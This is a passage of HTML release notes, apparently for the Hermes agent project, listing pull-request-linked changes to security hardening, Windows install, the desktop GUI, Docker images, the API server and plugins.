<li>Split cron scanner so skill prose stops false-positiving exfil patterns. (<a href="https://github.com/NousResearch/hermes-agent/pull/32339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32339/hovercard">#32339</a>)</li>
</ul>
<h3>File safety</h3>
<ul>
<li>Protect Hermes control-plane files from prompt injection (<code>auth.json</code>, <code>config.yaml</code>, <code>webhook_subscriptions.json</code>, <code>mcp-tokens/</code>). (salvages <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>'s <a href="https://github.com/NousResearch/hermes-agent/pull/14157" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14157/hovercard">#14157</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30397/hovercard">#30397</a>)</li>
<li>Write-deny <code>&lt;root&gt;/.env</code> when running under a profile. (<a href="https://github.com/NousResearch/hermes-agent/pull/29687" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29687/hovercard">#29687</a>)</li>
<li>Defense-in-depth read-deny on credential stores. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/17659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17659/hovercard">#17659</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/8055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/8055/hovercard">#8055</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30721" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30721/hovercard">#30721</a>)</li>
<li>TTS <code>output_path</code> traversal + update ZIP symlink reject. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/6693" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/6693/hovercard">#6693</a> + <a href="https://github.com/NousResearch/hermes-agent/pull/15881" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15881/hovercard">#15881</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/32056" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32056/hovercard">#32056</a>)</li>
<li>Reject symlinked audio inputs. (<a href="https://github.com/NousResearch/hermes-agent/pull/10082" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/10082/hovercard">#10082</a>)</li>
</ul>
<h3>Credential safety</h3>
<ul>
<li>Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into <code>auth.json</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31416/hovercard">#31416</a>)</li>
<li>Validate Nous Portal <code>inference_base_url</code> against host allowlist. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27612/hovercard">#27612</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30611/hovercard">#30611</a>)</li>
<li>Harden API server key placeholder handling. (<a href="https://github.com/NousResearch/hermes-agent/pull/30738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30738/hovercard">#30738</a>)</li>
<li>Harden Google Chat OAuth credential persistence. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24788/hovercard">#24788</a>)</li>
<li>xAI OAuth: pin inference <code>base_url</code> to x.ai origin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li>Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<h3>Supply-chain</h3>
<ul>
<li><strong>On-demand supply-chain audit via OSV.dev</strong> — <code>hermes audit</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31460/hovercard">#31460</a>)</li>
<li><code>hermes update</code> syntax-validates critical files post-pull, auto-rollback on failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li>Quarantine <code>hermes.exe</code> vs concurrent Windows instance. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
</ul>
<h3>Other hardening</h3>
<ul>
<li>Restrict default webhook toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Harden Microsoft Graph webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
<li>Require source CIDR allowlisting for public msgraph webhook binds. (<a href="https://github.com/NousResearch/hermes-agent/pull/33722" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33722/hovercard">#33722</a>)</li>
<li>Require <code>API_SERVER_KEY</code> before dispatching API server work. (<a href="https://github.com/NousResearch/hermes-agent/pull/33232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33232/hovercard">#33232</a>)</li>
<li>env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27794" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27794/hovercard">#27794</a>)</li>
<li>Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
<li>Salvage project-plugin RCE bypass fix from PR <a href="https://github.com/NousResearch/hermes-agent/pull/29311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29311/hovercard">#29311</a> (GHSA-5qr3-c538-wm9j). (<a href="https://github.com/NousResearch/hermes-agent/pull/30837" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30837/hovercard">#30837</a>)</li>
<li>Cross-profile soft guard on file-write tools + system-prompt hint. (<a href="https://github.com/NousResearch/hermes-agent/pull/31290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31290/hovercard">#31290</a>)</li>
<li>Reject unsafe tar members in Android psutil compatibility installer. (<a href="https://github.com/NousResearch/hermes-agent/pull/33742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33742/hovercard">#33742</a>)</li>
<li>Reject non-regular tar members during tirith auto-install. (<a href="https://github.com/NousResearch/hermes-agent/pull/33786" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33786/hovercard">#33786</a>)</li>
</ul>
<hr>
<h2>🪟 Native Windows (Beta Continued)</h2>
<ul>
<li>Thin desktop installer + first-launch <code>install.ps1</code> bootstrap. (<a href="https://github.com/NousResearch/hermes-agent/pull/27822" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27822/hovercard">#27822</a>)</li>
<li>Complete Windows bootstrap — <code>dep_ensure</code> + <code>install.ps1</code> + detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27845/hovercard">#27845</a>)</li>
<li><code>install.ps1</code>: strip BOM, <code>-Commit</code>/<code>-Tag</code> pin params, harden git ops. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28169/hovercard">#28169</a>)</li>
<li>Consolidate ACP browser bootstrap into <code>install.{sh,ps1}</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27851/hovercard">#27851</a>)</li>
<li><code>hermes update</code> quarantines live <code>hermes.exe</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
<li>Discord voice opus decoding on Windows. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li>Windows Docker Desktop compatible compose file. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31031" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31031/hovercard">#31031</a>)</li>
</ul>
<hr>
<h2>🖼️ Hermes Desktop GUI</h2>
<ul>
<li><code>hermes gui</code> launcher — install + build + launch packaged Electron app. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30165/hovercard">#30165</a>)</li>
<li>Desktop UI lift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27227/hovercard">#27227</a>)</li>
<li><code>nix</code> package <code>.#desktop</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28964" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28964/hovercard">#28964</a>)</li>
<li>Hardened Slack socket recovery + Windows desktop restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>Web dashboard: migrate checkboxes to <code>@nous-research/ui</code> + design-system polish. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28814" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28814/hovercard">#28814</a>)</li>
<li>Web dashboard: collapsible sidebar. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33421/hovercard">#33421</a>)</li>
<li>Dashboard typography &amp; contrast pass. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28832" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28832/hovercard">#28832</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30714" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30714/hovercard">#30714</a>)</li>
<li>Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (<a href="https://github.com/NousResearch/hermes-agent/pull/33809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33809/hovercard">#33809</a>)</li>
</ul>
<hr>
<h2>🐳 Docker</h2>
<ul>
<li><strong>s6-overlay container supervision</strong> — abstract <code>ServiceManager</code> protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30136/hovercard">#30136</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31760/hovercard">#31760</a>)</li>
<li>Auto-redirect <code>gateway run</code> to supervised mode inside the s6 image. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>)</li>
<li>Tee supervised gateway stdout to docker logs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33621" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33621/hovercard">#33621</a>)</li>
<li>Drop <code>docker exec</code> to hermes uid before invoking the CLI. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33628/hovercard">#33628</a>)</li>
<li>Align HOME for dashboard and s6 gateway services. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33481" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33481/hovercard">#33481</a>)</li>
<li>Bake build-time git SHA into image so <code>hermes dump</code> reports it. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33655/hovercard">#33655</a>)</li>
<li><code>hermes update</code> prints <code>docker pull</code> guidance instead of bogus git error. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33659/hovercard">#33659</a>)</li>
<li>Upgrade Node to 22 LTS via multi-stage from <code>node:22-bookworm-slim</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33060/hovercard">#33060</a>)</li>
<li>Drop <code>build-essential</code> from apt install. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33028/hovercard">#33028</a>)</li>
<li>Propagate env through s6 to cont-init and main CMD. (<a href="https://github.com/NousResearch/hermes-agent/pull/32412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32412/hovercard">#32412</a>)</li>
<li>Targeted chown to preserve host file ownership in <code>HERMES_HOME</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33033/hovercard">#33033</a>)</li>
<li><code>mkdir HERMES_HOME</code> as root in stage2 before chown / privilege drop. (<a href="https://github.com/NousResearch/hermes-agent/pull/33078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33078/hovercard">#33078</a>)</li>
<li>chown <code>ui-tui</code> and <code>node_modules</code> on UID remap so TUI esbuild works. (<a href="https://github.com/NousResearch/hermes-agent/pull/33045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33045/hovercard">#33045</a>)</li>
<li>Include <code>anthropic</code>, <code>bedrock</code>, <code>azure-identity</code> extras in image. (<a href="https://github.com/NousResearch/hermes-agent/pull/30504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30504/hovercard">#30504</a>)</li>
<li>Stop pushing per-commit SHA tags to Docker Hub. (<a href="https://github.com/NousResearch/hermes-agent/pull/29387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29387/hovercard">#29387</a>)</li>
<li>Simplify Docker tagging — push both <code>:main</code> and <code>:latest</code> on main push. (<a href="https://github.com/NousResearch/hermes-agent/pull/33225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33225/hovercard">#33225</a>)</li>
<li>Test slicing across GH actions jobs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30575" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30575/hovercard">#30575</a>)</li>
<li>Discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<hr>
<h2>🌐 API Server</h2>
<ul>
<li><strong>Session control API</strong> — <code>/api/sessions/*</code> (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/29302" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29302/hovercard">#29302</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a> + multimodal followup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33134/hovercard">#33134</a>)</li>
<li><code>GET /v1/skills</code> and <code>/v1/toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33016/hovercard">#33016</a>)</li>
<li>Coerce stringified booleans in stream/store/approval payloads. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26639/hovercard">#26639</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27293/hovercard">#27293</a>)</li>
<li>Honor <code>key_env</code> in auth-failure fallback resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/30840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30840/hovercard">#30840</a>)</li>
</ul>
<hr>
<h2>🎟️ ACP (VS Code / Zed / JetBrains)</h2>
<ul>
<li>Session edit auto-approval modes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/27034" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27034/hovercard">#27034</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27862" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27862/hovercard">#27862</a>)</li>
<li>Enrich Zed permission cards — command in title + <code>reject_always</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28148" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28148/hovercard">#28148</a>)</li>
<li>Replay session history before responding to <code>session/load</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26957/hovercard">#26957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26943/hovercard">#26943</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
</ul>
<hr>
<h2>🔌 Plugin Surface</h2>
<ul>
<li><code>register_tts_provider()</code> plugin hook. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30420/hovercard">#30420</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31745/hovercard">#31745</a>)</li>
<li><code>register_transcription_provider()</code> hook + <code>stt.providers</code> command-provider registry. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30493/hovercard">#30493</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31907/hovercard">#31907</a>)</li>
<li><code>register_auxiliary_task()</code> in PluginContext API. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29817/hovercard">#29817</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31177/hovercard">#31177</a>)</li>
<li>Bundled <code>security-guidance</code> plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>)</li>
<li>Discord and Mattermost migrated to bundled plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
<li>ntfy as platform plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li>Surface category-namespaced plugins in <code>hermes plugins list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/27187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27187/hovercard">#27187</a>)</li>
<li>Plugin discovery failures raised to WARNING level. (<a href="https://github.com/NousResearch/hermes-agent/pull/28318" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28318/hovercard">#28318</a>)</li>
<li><code>hermes_plugins</code> included in gateway.log component filter. (<a href="https://github.com/NousResearch/hermes-agent/pull/28313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28313/hovercard">#28313</a>)</li>
<li>Seed plugin extras before <code>is_connected</code> gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31703/hovercard">#31703</a>)</li>
<li>Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/32277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32277/hovercard">#32277</a>)</li>
</ul>
<hr>
<h2>📦 Distribution &amp; Install</h2>
<ul>
<li>Install-method stamping + Docker detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27843/hovercard">#27843</a>)</li>
<li>Nix <code>#messaging</code> and <code>#full</code> package variants. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33108/hovercard">#33108</a>)</li>
<li>Pre-load messaging gateway deps via <code>--extra messaging</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26394/hovercard">#26394</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27558/hovercard">#27558</a>)</li>
<li>Avoid piping installer directly into <code>iex</code> (Windows). (<a href="https://github.com/NousResearch/hermes-agent/pull/28347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28347/hovercard">#28347</a>)</li>
<li>Ship bundled skills in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28421/hovercard">#28421</a>)</li>
<li>Ship dashboard plugin assets in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28406" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28406/hovercard">#28406</a>)</li>
<li>Make Camofox lazy-installed instead of eager. (<a href="https://github.com/NousResearch/hermes-agent/pull/27055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27055/hovercard">#27055</a>)</li>
<li>Wire STT lazy-install into transcription_tools.py. (<a href="https://github.com/NousResearch/hermes-agent/pull/30256" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30256/hovercard">#30256</a>)</li>
</ul>
<hr>
<h2>🐛 Notable Bug Fixes (highlights only)</h2>
<ul>
